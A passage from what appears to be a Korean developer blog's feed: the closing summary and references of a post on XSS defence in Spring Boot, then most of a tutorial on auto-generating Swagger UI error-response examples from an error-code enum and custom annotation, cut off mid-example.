  <li>OWASP Java HTML Sanitizer는 DOM-level 파싱으로 안전한 태그는 보존하면서 위험 요소만 제거합니다</li>
  <li>Servlet Filter로 구현하면 비즈니스 코드 수정 없이 전역 방어가 가능합니다</li>
  <li>JSON Body(<code class="language-plaintext highlighter-rouge">@RequestBody</code>)는 별도로 <code class="language-plaintext highlighter-rouge">RequestBodyAdvice</code>를 통해 방어해야 합니다</li>
  <li><strong>심층 방어 원칙</strong>에 따라 CSP 헤더, HttpOnly 쿠키, 출력 인코딩을 함께 적용하세요</li>
</ul>

<h2 id="참고">참고</h2>

<ul>
  <li><a href="https://owasp.org/www-project-java-html-sanitizer/">OWASP Java HTML Sanitizer</a></li>
  <li><a href="https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html">OWASP XSS Prevention Cheat Sheet</a></li>
  <li><a href="https://github.com/OWASP/java-html-sanitizer">OWASP Java HTML Sanitizer GitHub</a></li>
  <li><a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy">MDN - Content-Security-Policy</a></li>
  <li><a href="https://react.dev/reference/react-dom/components/common#dangerously-setting-the-inner-html">React - Dangerously setting the inner HTML</a></li>
</ul>]]></content><author><name>KIM-KYOUNG-OH</name></author><category term="Security" /><category term="Security" /><category term="XSS" /><category term="OWASP" /><category term="Spring-Boot" /><category term="Servlet-Filter" /><category term="Security-Vulnerabilities" /><summary type="html"><![CDATA[웹 애플리케이션 보안에서 XSS(Cross-Site Scripting)는 빈번하게 발생하는 보안 취약점 중 하나입니다. 이번 글에서는 OWASP Java HTML Sanitizer를 활용하여 Spring Boot 웹 애플리케이션에서 XSS 공격을 자동으로 방어하는 Servlet Filter 구현 방법을 소개합니다.]]></summary></entry><entry><title type="html">Swagger UI에 에러 응답 문서화하기</title><link href="https://coffeetimes.github.io/spring/2026/03/04/swagger-error-response-documentation.html" rel="alternate" type="text/html" title="Swagger UI에 에러 응답 문서화하기" /><published>2026-03-04T00:00:00+00:00</published><updated>2026-03-04T00:00:00+00:00</updated><id>https://coffeetimes.github.io/spring/2026/03/04/swagger-error-response-documentation</id><content type="html" xml:base="https://coffeetimes.github.io/spring/2026/03/04/swagger-error-response-documentation.html"><![CDATA[<p>프론트엔드와 백엔드 간 소통 매개체로 Swagger UI가 자주 사용됩니다.
API를 개발하다 보면 에러 응답 코드를 정의해야하는 경우가 많은데, <code class="language-plaintext highlighter-rouge">@ApiResponse</code> 어노테이션을 사용하여 에러 코드를 일일이 작성하다 보면 비즈니스 코드가 점점 비대해지고, 비즈니스 로직과 Swagger 문서화 로직이 혼재되기 시작합니다.</p>

<p>이번 글에서는 <strong>커스텀 어노테이션과 에러코드 enum</strong>을 활용하여, 비즈니스 코드와 문서화 로직을 분리하면서 Swagger UI에 에러 응답 예시를 <strong>자동으로 생성</strong>하는 패턴을 소개합니다.</p>

<h2 id="도입-배경">도입 배경</h2>

<p>기존 방식에는 두 가지 문제가 있었습니다:</p>

<ul>
  <li><strong>비즈니스 로직과 Swagger 문서화 로직의 혼재</strong>:
    <ul>
      <li>에러코드가 추가될 때마다 해당 API 메서드에 <code class="language-plaintext highlighter-rouge">@ApiResponse</code> 어노테이션을 하나씩 작성해야 했습니다. API가 늘어날수록 Controller 코드는 비대해지고, 비즈니스 로직과 문서화 로직이 뒤섞여 가독성이 떨어졌습니다.</li>
    </ul>
  </li>
  <li><strong>에러 응답의 통합 관리 부재</strong>:
    <ul>
      <li>에러별 HTTP Status 코드와 메시지를 확인하려면 비즈니스 코드를 직접 열어봐야 했습니다. 에러 정보가 여러 파일에 파편화되어 전체 에러 체계를 한눈에 파악하기 어려웠습니다.</li>
    </ul>
  </li>
</ul>

<hr />

<h2 id="아키텍처">아키텍처</h2>

<h3 id="전체-흐름">전체 흐름</h3>

<div style="max-width: 700px; margin: 0 auto;">

<img class="mermaid" src="https://mermaid.ink/svg/eyJjb2RlIjoiZ3JhcGggVEJcbkFbXCJDb250cm9sbGVyPGJyLz5AQXBpRXJyb3JDb2RlRXhhbXBsZXNcIl0gLS0-IEJbXCJTd2FnZ2VyQ29uZmlnPGJyLz4oT3BlcmF0aW9uQ3VzdG9taXplcilcIl1cbkEgLS0-IENbXCJTZXJ2aWNlIExheWVyPGJyLz50aHJvdyBBcGlFeGNlcHRpb25cIl1cbkIgLS0-IERbXCJTd2FnZ2VyIFVJPGJyLz7sl5Drn6wg7JiI7IucIOuTnOuhreuLpOyatFwiXVxuQyAtLT4gRVtcIkdsb2JhbEV4Y2VwdGlvbkhhbmRsZXI8YnIvPkhUVFAgU3RhdHVzICsgTWVzc2FnZVwiXVxuQiAtLT4gRltcIkFwaUVycm9yQ29kZSBlbnVtPGJyLz4rIE1lc3NhZ2VTb3VyY2VcIl1cbkUgLS0-IEYiLCJtZXJtYWlkIjpudWxsfQ" />

</div>

<p><strong>처리 흐름</strong>:</p>

<ol>
  <li>Controller 메서드에 <code class="language-plaintext highlighter-rouge">@ApiErrorCodeExamples</code> 어노테이션을 적용하여 발생 가능한 에러코드를 선언</li>
  <li><code class="language-plaintext highlighter-rouge">OperationCustomizer</code>가 어노테이션을 읽어 Swagger UI에 에러 예시를 자동 생성</li>
  <li>Service에서 <code class="language-plaintext highlighter-rouge">ApiException</code>을 throw하면 <code class="language-plaintext highlighter-rouge">GlobalExceptionHandler</code>가 enum에 매핑된 HTTP Status와 메시지를 반환</li>
</ol>

<h3 id="핵심-컴포넌트">핵심 컴포넌트</h3>

<table>
  <thead>
    <tr>
      <th>컴포넌트</th>
      <th>역할</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">ApiErrorCode</code></td>
      <td>에러코드와 HTTP Status를 매핑하는 enum</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">ApiException</code></td>
      <td>에러코드 기반 커스텀 예외 클래스</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">ApiErrorCodeExamples</code></td>
      <td>Controller에 적용하는 Swagger 어노테이션</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">GlobalExceptionHandler</code></td>
      <td>예외를 HTTP 응답으로 변환하는 핸들러</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">SwaggerConfig</code></td>
      <td>OperationCustomizer로 Swagger 문서 자동 생성</td>
    </tr>
  </tbody>
</table>

<h3 id="파일-구조">파일 구조</h3>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>src/main/java/com/example/
├── common/
│   ├── ApiErrorCode.java           # 에러코드 enum
│   └── ErrorResponse.java          # 에러 응답 DTO
├── exception/
│   ├── ApiException.java           # 커스텀 예외 클래스
│   ├── ApiErrorCodeExamples.java   # Swagger 어노테이션
│   └── GlobalExceptionHandler.java # 예외 핸들러
└── config/
    └── SwaggerConfig.java          # OperationCustomizer 설정
</code></pre></div></div>

<hr />

<h2 id="구현-가이드">구현 가이드</h2>

<h3 id="step-1-apierrorcode-에러코드-enum">Step 1: ApiErrorCode (에러코드 enum)</h3>

<p>모든 에러의 코드, HTTP Status, 메시지를 한곳에서 관리하는 enum입니다.</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nd">@Getter</span>
<span class="nd">@RequiredArgsConstructor</span>
<span class="kd">public</span> <span class="kd">enum</span> <span class="nc">ApiErrorCode</span> <span class="o">{</span>

    <span class="c1">// 400 Bad Request</span>
    <span class="no">BAD_REQUEST</span><span class="o">(</span><span class="s">"E400"</span><span class="o">,</span> <span class="nc">HttpStatus</span><span class="o">.</span><span class="na">BAD_REQUEST</span><span class="o">),</span>
    <span class="no">INVALID_PARAMETER</span><span class="o">(</span><span class="s">"E400.01"</span><span class="o">,</span> <span class="nc">HttpStatus</span><span class="o">.</span><span class="na">BAD_REQUEST</span><span class="o">),</span>

    <span class="c1">// 401 Unauthorized</span>
    <span class="no">UNAUTHORIZED</span><span class="o">(</span><span class="s">"E401"</span><span class="o">,</span> <span class="nc">HttpStatus</span><span class="o">.</span><span class="na">UNAUTHORIZED</span><span class="o">),</span>

    <span class="c1">// 404 Not Found</span>
    <span class="no">NOT_FOUND</span><span class="o">(</span><span class="s">"E404"</span><span class="o">,</span> <span class="nc">HttpStatus</span><span class="o">.</span><span class="na">NOT_FOUND</span><span class="o">),</span>

    <span class="c1">// 409 Conflict</span>
    <span class="no">CONFLICT</span><span class="o">(</span><span class="s">"E409"</span><span class="o">,</span> <span class="nc">HttpStatus</span><span class="o">.</span><span class="na">CONFLICT</span><span class="o">),</span>
    <span class="no">ALREADY_EXISTS</span><span class="o">(</span><span class="s">"E409.01"</span><span class="o">,</span> <span class="nc">HttpStatus</span><span class="o">.</span><span class="na">CONFLICT</span><span class="o">),</span>

    <span class="c1">// 500 Internal Server Error</span>
    <span class="no">INTERNAL_SERVER_ERROR</span><span class="o">(</span><span class="s">"E500"</span><span class="o">,</span> <span class="nc">HttpStatus</span><span class="o">.</span><span class="na">INTERNAL_SERVER_ERROR</span><span class="o">),</span>
    <span class="no">EXTERNAL_API_ERROR</span><span class="o">(</span><span class="s">"E500.01"</span><span class="o">,</span> <span class="nc">HttpStatus</span><span class="o">.</span><span class="na">INTERNAL_SERVER_ERROR</span><span class="o">);</span>

    <span class="kd">private</span> <span class="kd">final</span> <span class="nc">String</span> <span class="n">code</span><span class="o">;</span>
    <span class="kd">private</span> <span class="kd">final</span> <span class="nc">HttpStatus</span> <span class="n">status</span><span class="o">;</span>
<span class="o">}</span>
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">E400</code>, <code class="language-plaintext highlighter-rouge">E400.01</code> 형태로 대분류와 세부 에러를 구분합니다. HTTP Status를 enum에 직접 매핑하여, 에러 코드만 알면 어떤 HTTP Status로 응답해야 하는지 자동으로 결정됩니다.</p>

<h3 id="step-2-apiexception-커스텀-예외">Step 2: ApiException (커스텀 예외)</h3>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nd">@Getter</span>
<span class="kd">public</span> <span class="kd">class</span> <span class="nc">ApiException</span> <span class="kd">extends</span> <span class="nc">RuntimeException</span> <span class="o">{</span>
    <span class="kd">private</span> <span class="kd">final</span> <span class="nc">ApiErrorCode</span> <span class="n">errorCode</span><span class="o">;</span>

    <span class="kd">public</span> <span class="nf">ApiException</span><span class="o">(</span><span class="nc">ApiErrorCode</span> <span class="n">errorCode</span><span class="o">)</span> <span class="o">{</span>
        <span class="kd">super</span><span class="o">(</span><span class="n">errorCode</span><span class="o">.</span><span class="na">getCode</span><span class="o">());</span>
        <span class="k">this</span><span class="o">.</span><span class="na">errorCode</span> <span class="o">=</span> <span class="n">errorCode</span><span class="o">;</span>
    <span class="o">}</span>

    <span class="kd">public</span> <span class="nf">ApiException</span><span class="o">(</span><span class="nc">ApiErrorCode</span> <span class="n">errorCode</span><span class="o">,</span> <span class="nc">Throwable</span> <span class="n">cause</span><span class="o">)</span> <span class="o">{</span>
        <span class="kd">super</span><span class="o">(</span><span class="n">errorCode</span><span class="o">.</span><span class="na">getCode</span><span class="o">(),</span> <span class="n">cause</span><span class="o">);</span>
        <span class="k">this</span><span class="o">.</span><span class="na">errorCode</span> <span class="o">=</span> <span class="n">errorCode</span><span class="o">;</span>
    <span class="o">}</span>
<span class="o">}</span>
</code></pre></div></div>

<p>에러코드 enum만 전달하면 예외가 생성됩니다. 메시지는 <code class="language-plaintext highlighter-rouge">GlobalExceptionHandler</code>에서 MessageSource를 통해 조회하므로, 예외 클래스 자체는 단순하게 유지됩니다.</p>

<h3 id="step-3-apierrorcodeexamples-swagger-어노테이션">Step 3: ApiErrorCodeExamples (Swagger 어노테이션)</h3>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nd">@Target</span><span class="o">(</span><span class="nc">ElementType</span><span class="o">.</span><span class="na">METHOD</span><span class="o">)</span>
<span class="nd">@Retention</span><span class="o">(</span><span class="nc">RetentionPolicy</span><span class="o">.</span><span class="na">RUNTIME</span><span class="o">)</span>
<span class="kd">public</span> <span class="nd">@interface</span> <span class="nc">ApiErrorCodeExamples</span> <span class="o">{</span>
    <span class="nc">ApiErrorCode</span><span class="o">[]</span> <span class="nf">value</span><span class="o">();</span>
<span class="o">}</span>
</code></pre></div></div>

<p>Controller 메서드에 적용하여 해당 API에서 발생할 수 있는 에러코드를 선언합니다. <br />
런타임에 <code class="language-plaintext highlighter-rouge">OperationCustomizer</code>가 이 어노테이션을 읽어 Swagger 문서를 자동 생성합니다.<br />
관점 지향 프로그래밍(AOP)의 관점에서 보면, Swagger 문서화라는 횡단 관심사(cross-cutting concern)를 어노테이션으로 분리하여 비즈니스 로직의 순수성을 유지하는 구조입니다.</p>

<h3 id="step-4-errorresponse-에러-응답-dto">Step 4: ErrorResponse (에러 응답 DTO)</h3>

<p>Swagger 문서와 실제 응답에서 공통으로 사용할 에러 응답 형식을 정의합니다.</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nd">@Getter</span>
<span class="nd">@AllArgsConstructor</span>
<span class="kd">public</span> <span class="kd">class</span> <span class="nc">ErrorResponse</span> <span class="o">{</span>
    <span class="kd">private</span> <span class="kd">final</span> <span class="nc">String</span> <span class="n">code</span><span class="o">;</span>
    <span class="kd">private</span> <span class="kd">final</span> <span class="nc">String</span> <span class="n">message</span><span class="o">;</span>
<span class="o">}</span>
</code></pre></div></div>

<h3 id="step-5-globalexceptionhandler-예외-핸들러">Step 5: GlobalExceptionHandler (예외 핸들러)</h3>

<ul>
  <li><code class="language-plaintext highlighter-rouge">@Order(HIGHEST_PRECEDENCE)</code>로 다른 예외 핸들러보다 우선 처리되어, 기존 예외 처리 로직과 독립적으로 동작합니다.</li>
  <li>MessageSource에서 에러코드로 메시지를 조회하므로 국제화(i18n)를 지원합니다.</li>
</ul>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>src/main/resources/
├── messages_ko.properties   # 한국어
├── messages_en.properties   # 영어
└── messages_ja.properties   # 일본어
</code></pre></div></div>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">lombok.RequiredArgsConstructor</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">lombok.extern.slf4j.Slf4j</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">org.springframework.context.support.MessageSourceAccessor</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">org.springframework.core.Ordered</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">org.springframework.core.annotation.Order</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">org.springframework.http.ResponseEntity</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">org.springframework.web.bind.annotation.ExceptionHandler</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">org.springframework.web.bind.annotation.RestControllerAdvice</span><span class="o">;</span>

<span class="nd">@Slf4j</span>
<span class="nd">@RestControllerAdvice</span>
<span class="nd">@Order</span><span class="o">(</span><span class="nc">Ordered</span><span class="o">.</span><span class="na">HIGHEST_PRECEDENCE</span><span class="o">)</span>
<span class="nd">@RequiredArgsConstructor</span>
<span class="kd">public</span> <span class="kd">class</span> <span class="nc">GlobalExceptionHandler</span> <span class="o">{</span>

    <span class="kd">private</span> <span class="kd">final</span> <span class="nc">MessageSourceAccessor</span> <span class="n">messageSourceAccessor</span><span class="o">;</span>

    <span class="nd">@ExceptionHandler</span><span class="o">(</span><span class="nc">ApiException</span><span class="o">.</span><span class="na">class</span><span class="o">)</span>
    <span class="kd">public</span> <span class="nc">ResponseEntity</span><span class="o">&lt;</span><span class="nc">ErrorResponse</span><span class="o">&gt;</span> <span class="nf">handleApiException</span><span class="o">(</span><span class="nc">ApiException</span> <span class="n">ex</span><span class="o">)</span> <span class="o">{</span>
        <span class="nc">ApiErrorCode</span> <span class="n">errorCode</span> <span class="o">=</span> <span class="n">ex</span><span class="o">.</span><span class="na">getErrorCode</span><span class="o">();</span>
        <span class="nc">String</span> <span class="n">message</span> <span class="o">=</span> <span class="n">messageSourceAccessor</span><span class="o">.</span><span class="na">getMessage</span><span class="o">(</span>
            <span class="n">errorCode</span><span class="o">.</span><span class="na">getCode</span><span class="o">(),</span> <span class="s">"에러가 발생했습니다"</span><span class="o">);</span>

        <span class="n">log</span><span class="o">.</span><span class="na">error</span><span class="o">(</span><span class="s">"ApiException: code={}, status={}, message={}"</span><span class="o">,</span>
                <span class="n">errorCode</span><span class="o">.</span><span class="na">getCode</span><span class="o">(),</span> <span class="n">errorCode</span><span class="o">.</span><span class="na">getStatus</span><span class="o">(),</span> <span class="n">message</span><span class="o">,</span> <span class="n">ex</span><span class="o">);</span>

        <span class="nc">ErrorResponse</span> <span class="n">response</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">ErrorResponse</span><span class="o">(</span><span class="n">errorCode</span><span class="o">.</span><span class="na">getCode</span><span class="o">(),</span> <span class="n">message</span><span class="o">);</span>
        <span class="k">return</span> <span class="nc">ResponseEntity</span><span class="o">.</span><span class="na">status</span><span class="o">(</span><span class="n">errorCode</span><span class="o">.</span><span class="na">getStatus</span><span class="o">()).</span><span class="na">body</span><span class="o">(</span><span class="n">response</span><span class="o">);</span>
    <span class="o">}</span>
<span class="o">}</span>
</code></pre></div></div>

<h3 id="step-6-swaggerconfig-operationcustomizer">Step 6: SwaggerConfig (OperationCustomizer)</h3>

<p>이 클래스가 자동 문서화의 핵심입니다. Controller의 <code class="language-plaintext highlighter-rouge">@ApiErrorCodeExamples</code> 어노테이션을 읽어 Swagger UI에 에러 응답 예시를 자동으로 추가합니다.</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nd">@Configuration</span>
<span class="nd">@RequiredArgsConstructor</span>
<span class="kd">public</span> <span class="kd">class</span> <span class="nc">SwaggerConfig</span> <span class="o">{</span>

    <span class="kd">private</span> <span class="kd">final</span> <span class="nc">MessageSourceAccessor</span> <span class="n">messageSourceAccessor</span><span class="o">;</span>

    <span class="nd">@Bean</span>
    <span class="kd">public</span> <span class="nc">OperationCustomizer</span> <span class="nf">operationCustomizer</span><span class="o">()</span> <span class="o">{</span>
        <span class="k">return</span> <span class="o">(</span><span class="nc">Operation</span> <span class="n">operation</span><span class="o">,</span> <span class="nc">HandlerMethod</span> <span class="n">handlerMethod</span><span class="o">)</span> <span class="o">-&gt;</span> <span class="o">{</span>
            <span class="nc">ApiErrorCodeExamples</span> <span class="n">annotation</span> <span class="o">=</span>
                <span class="n">handlerMethod</span><span class="o">.</span><span class="na">getMethodAnnotation</span><span class="o">(</span><span class="nc">ApiErrorCodeExamples</span><span class="o">.</span><span class="na">class</span><span class="o">);</span>
            <span class="k">if</span> <span class="o">(</span><span class="n">annotation</span> <span class="o">!=</span> <span class="kc">null</span><span class="o">)</span> <span class="o">{</span>
                <span class="n">generateErrorExamples</span><span class="o">(</span><span class="n">operation</span><span class="o">,</span> <span class="n">annotation</span><span class="o">.</span><span class="na">value</span><span class="o">());</span>
            <span class="o">}</span>
            <span class="k">return</span> <span class="n">operation</span><span class="o">;</span>
        <span class="o">};</span>
    <span class="o">}</span>

    <span class="kd">private</span> <span class="kt">void</span> <span class="nf">generateErrorExamples</span><span class="o">(</span><span class="nc">Operation</span> <span class="n">operation</span><span class="o">,</span> <span class="nc">ApiErrorCode</span><span class="o">[]</span> <span class="n">errorCodes</span><span class="o">)</span> <span class="o">{</span>
        <span class="nc">Map</span><span class="o">&lt;</span><span class="nc">Integer</span><span class="o">,</span> <span class="nc">List</span><span class="o">&lt;</span><span class="nc">ApiErrorCode</span><span class="o">&gt;&gt;</span> <span class="n">groupedByStatus</span> <span class="o">=</span> <span class="nc">Arrays</span><span class="o">.</span><span class="na">stream</span><span class="o">(</span><span class="n">errorCodes</span><span class="o">)</span>
                <span class="o">.</span><span class="na">collect</span><span class="o">(</span><span class="nc">Collectors</span><span class="o">.</span><span class="na">groupingBy</span><span class="o">(</span><span class="n">code</span> <span class="o">-&gt;</span> <span class="n">code</span><span class="o">.</span><span class="na">getStatus</span><span class="o">().</span><span class="na">value</span><span class="o">()));</span>

        <span class="n">groupedByStatus</span><span class="o">.</span><span class="na">forEach</span><span class="o">((</span><span class="n">status</span><span class="o">,</span> <span class="n">codes</span><span class="o">)</span> <span class="o">-&gt;</span> <span class="o">{</span>
            <span class="nc">MediaType</span> <span class="n">mediaType</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">MediaType</span><span class="o">();</span>
            <span class="n">codes</span><span class="o">.</span><span class="na">forEach</span><span class="o">(</span><span class="n">code</span> <span class="o">-&gt;</span> <span class="n">mediaType</span><span class="o">.</span><span class="na">addExamples</span><span class="o">(</span>
                <span class="n">code</span><span class="o">.</span><span class="na">getCode</span><span class="o">(),</span> <span class="n">createExample</span><span class="o">(</span><span class="n">code</span><span class="o">)));</span>

            <span class="n">operation</span><span class="o">.</span><span class="na">getResponses</span><span class="o">().</span><span class="na">addApiResponse</span><span class="o">(</span>
                <span class="nc">String</span><span class="o">.</span><span class="na">valueOf</span><span class="o">(</span><span class="n">status</span><span class="o">),</span>
                <span class="k">new</span> <span class="nf">ApiResponse</span><span class="o">()</span>
                    <span class="o">.</span><span class="na">description</span><span class="o">(</span><span class="s">"에러 응답"</span><span class="o">)</span>
                    <span class="o">.</span><span class="na">content</span><span class="o">(</span><span class="k">new</span> <span class="nc">Content</span><span class="o">()</span>
                        <span class="o">.</span><span class="na">addMediaType</span><span class="o">(</span><span class="s">"application/json"</span><span class="o">,</span> <span class="n">mediaType</span><span class="o">))</span>
            <span class="o">);</span>
        <span class="o">});</span>
    <span class="o">}</span>

    <span class="kd">private</span> <span class="nc">Example</span> <span class="nf">createExample</span><span class="o">(</span><span class="nc">ApiErrorCode</span> <span class="n">errorCode</span><span class="o">)</span> <span class="o">{</span>
        <span class="nc">String</span> <span class="n">message</span> <span class="o">=</span> <span class="n">messageSourceAccessor</span><span class="o">.</span><span class="na">getMessage</span><span class="o">(</span>
            <span class="n">errorCode</span><span class="o">.</span><span class="na">getCode</span><span class="o">(),</span> <span class="s">"에러가 발생했습니다"</span><span class="o">);</span>
        <span class="nc">Example</span> <span class="n">example</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">Example</span><span class="o">();</span>
        <span class="n">example</span><span class="o">.</span><span class="na">setValue</span><span class="o">(</span><span class="nc">Map</span><span class="o">.</span><span class="na">of</span><span class="o">(</span>
            <span class="s">"code"</span><span class="o">,</span> <span class="n">errorCode</span><span class="o">.</span><span class="na">getCode</span><span class="o">(),</span>
            <span class="s">"message"</span><span class="o">,</span> <span class="n">message</span>
        <span class="o">));</span>
        <span class="n">example</span><span class="o">.</span><span class="na">setDescription</span><span class="o">(</span><span class="n">message</span><span class="o">);</span>
        <span class="k">return</span> <span class="n">example</span><span class="o">;</span>
    <span class="o">}</span>
<span class="o">}</span>
</code></pre></div></div>

<p>동작 원리:</p>
<ol>
  <li>첫 번째 Swagger UI(또는 <code class="language-plaintext highlighter-rouge">/v3/api-docs</code>) 접근 시, <code class="language-plaintext highlighter-rouge">OperationCustomizer</code>가 모든 API Operation을 <strong>1회 순회</strong>하며 <code class="language-plaintext highlighter-rouge">@ApiErrorCodeExamples</code> 어노테이션을 확인 (이후 캐싱되므로 런타임 성능에 영향 없음)</li>
  <li>어노테이션에 선언된 에러코드들을 <strong>HTTP Status별로 그룹핑</strong></li>
  <li>각 에러코드별로 Example 객체를 생성하여 Swagger 응답에 추가</li>
  <li>Swagger UI에서는 동일 HTTP Status 내 에러코드를 <strong>드롭다운으로 선택</strong>하여 확인 가능</li>
</ol>

<h3 id="step-7-메시지-설정">Step 7: 메시지 설정</h3>

<p><strong>message.properties</strong>:</p>

<div class="language-properties highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># 400 Bad Request
</span><span class="py">E400</span><span class="p">=</span><span class="s">잘못된 요청입니다.</span>
<span class="py">E400.01</span><span class="p">=</span><span class="s">유효하지 않은 파라미터입니다.</span>

<span class="c"># 401 Unauthorized
</span><span class="py">E401</span><span class="p">=</span><span class="s">인증이 필요합니다.</span>

<span class="c"># 404 Not Found
</span><span class="py">E404</span><span class="p">=</span><span class="s">요청한 리소스를 찾을 수 없습니다.</span>

<span class="c"># 409 Conflict
</span><span class="py">E409</span><span class="p">=</span><span class="s">요청이 충돌했습니다.</span>
<span class="py">E409.01</span><span class="p">=</span><span class="s">이미 존재하는 데이터입니다.</span>

<span class="c"># 500 Internal Server Error
</span><span class="py">E500</span><span class="p">=</span><span class="s">서버 에러가 발생했습니다.</span>
<span class="py">E500.01</span><span class="p">=</span><span class="s">외부 API 호출 중 에러가 발생했습니다.</span>
</code></pre></div></div>

<p>에러코드를 key로 사용하므로, enum에 새 에러코드를 추가할 때 여기에도 메시지를 정의하면 Swagger 문서와 실제 응답 모두에 반영됩니다.</p>

<hr />

<h3 id="swagger-api-명세서에-에러-코드-추가하기">Swagger API 명세서에 에러 코드 추가하기</h3>

<p><strong>AS-IS: <code class="language-plaintext highlighter-rouge">@ApiResponse</code>를 일일이 정의하는 방식</strong></p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nd">@RestController</span>
<span class="nd">@RequestMapping</span><span class="o">(</span><span class="s">"/api/users"</span><span class="o">)</span>
<span class="nd">@RequiredArgsConstructor</span>
<span class="kd">public</span> <span class="kd">class</span> <span class="nc">UserController</span> <span class="o">{</span>

    <span class="kd">private</span> <span class="kd">final</span> <span class="nc">UserService</span> <span class="n">userService</span><span class="o">;</span>

    <span class="nd">@ApiResponses</span><span class="o">({</span>
        <span class="nd">@ApiResponse</span><span class="o">(</span><span class="n">responseCode</span> <span class="o">=</span> <span class="s">"400"</span><span class="o">,</span> <span class="n">description</span> <span class="o">=</span> <span class="s">"잘못된 요청입니다."</span><span class="o">,</span>
            <span class="n">content</span> <span class="o">=</span> <span class="nd">@Content</span><span class="o">(</span><span class="n">schema</span> <span class="o">=</span> <span class="nd">@Schema</span><span class="o">(</span><span class="n">implementation</span> <span class="o">=</span> <span class="nc">ErrorResponse</span><span class="o">.</span><span class="na">class</span><span class="o">))),</span>
        <span class="nd">@ApiResponse</span><span class="o">(</span><span class="n">responseCode</span> <span class="o">=</span> <span class="s">"401"</span><span class="o">,</span> <span class="n">description</span> <span class="o">=</span> <span class="s">"인증이 필요합니다."</span><span class="o">,</span>
            <span class="n">content</span> <span class="o">=</span> <span class="nd">@Content</span><span class="o">(</span><span class="n">schema</span> <span class="o">=</span> <span class="nd">@Schema</span><span class="o">(</span><span class="n">implementation</span> <span class="o">=</span> <span class="nc">ErrorResponse</span><span class="o">.</span><span class="na">class</span><span class="o">))),</span>
        <span class="nd">@ApiResponse</span><span class="o">(</span><span class="n">responseCode</span> <span class="o">=</span> <span class="s">"404"</span><span class="o">,</span> <span class="n">description</span> <span class="o">=</span> <span class="s">"요청한 리소스를 찾을 수 없습니다."</span><span class="o">,</span>
            <span class="n">content</span> <span class="o">=</span> <span class="nd">@Content</span><span class="o">(</span><span class="n">schema</span> <span class="o">=</span> <span class="nd">@Schema</span><span class="o">(</span><span class="n">implementation</span> <span class="o">=</span> <span class="nc">ErrorResponse</span><span class="o">.</span><span class="na">class</span><span class="o">)))</span>
    <span class="o">})</span>
    <span class="nd">@GetMapping</span><span class="o">(</span><span class="s">"/{id}"</span><span class="o">)</span>
    <span class="kd">public</span> <span class="nc">ResponseEntity</span><span class="o">&lt;</span><span class="nc">UserDto</span><span class="o">&gt;</span> <span class="nf">getUser</span><span class="o">(</span><span class="nd">@PathVariable</span> <span class="nc">Long</span> <span class="n">id</span><span class="o">)</span> <span class="o">{</span>
        <span class="k">return</span> <span class="nc">ResponseEntity</span><span class="o">.</span><span class="na">ok</span><span class="o">(</span><span class="n">userService</span><span class="o">.</span><span class="na">getUser</span><span class="o">(</span><span class="n">id</span><span class="o">));</span>
    <span class="o">}</span>
<span class="o">}</span>
</code></pre></div></div>

<p>에러코드가 추가될 때마다 <code class="language-plaintext highlighter-rouge">@ApiResponse</code> 블록이 늘어나고, 메시지가 하드코딩되어 실제 응답과 불일치할 위험이 있습니다.</p>

<p><strong>TO-BE: <code class="language-plaintext highlighter-rouge">@ApiErrorCodeExamples</code>를 사용하는 방식</strong></p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nd">@RestController</span>
<span class="nd">@RequestMapping</span><span class="o">(</span><span class="s">"/api/users"</span><span class="o">)</span>
<span class="nd">@RequiredArgsConstructor</span>
<span class="kd">public</span> <span class="kd">class</span> <span class="nc">UserController</span> <span class="o">{</span>

    <span class="kd">private</span> <span class="kd">final</span> <span class="nc">UserService</span> <span class="n">userService</span><span class="o">;</span>

    <span class="nd">@ApiErrorCodeExamples</span><span class="o">({</span>
        <span class="nc">ApiErrorCode</span><span class="o">.</span><span class="na">BAD_REQUEST</span><span class="o">,</span> <span class="nc">ApiErrorCode</span><span class="o">.</span><span class="na">NOT_FOUND</span><span class="o">,</span> <span class="nc">ApiErrorCode</span><span class="o">.</span><span class="na">UNAUTHORIZED</span>
    <span class="o">})</span>
    <span class="nd">@GetMapping</span><span class="o">(</span><span class="s">"/{id}"</span><span class="o">)</span>
    <span class="kd">public</span> <span class="nc">ResponseEntity</span><span class="o">&lt;</span><span class="nc">UserDto</span><span class="o">&gt;</span> <span class="nf">getUser</span><span class="o">(</span><span class="nd">@PathVariable</span> <span class="nc">Long</span> <span class="n">id</span><span class="o">)</span> <span class="o">{</span>
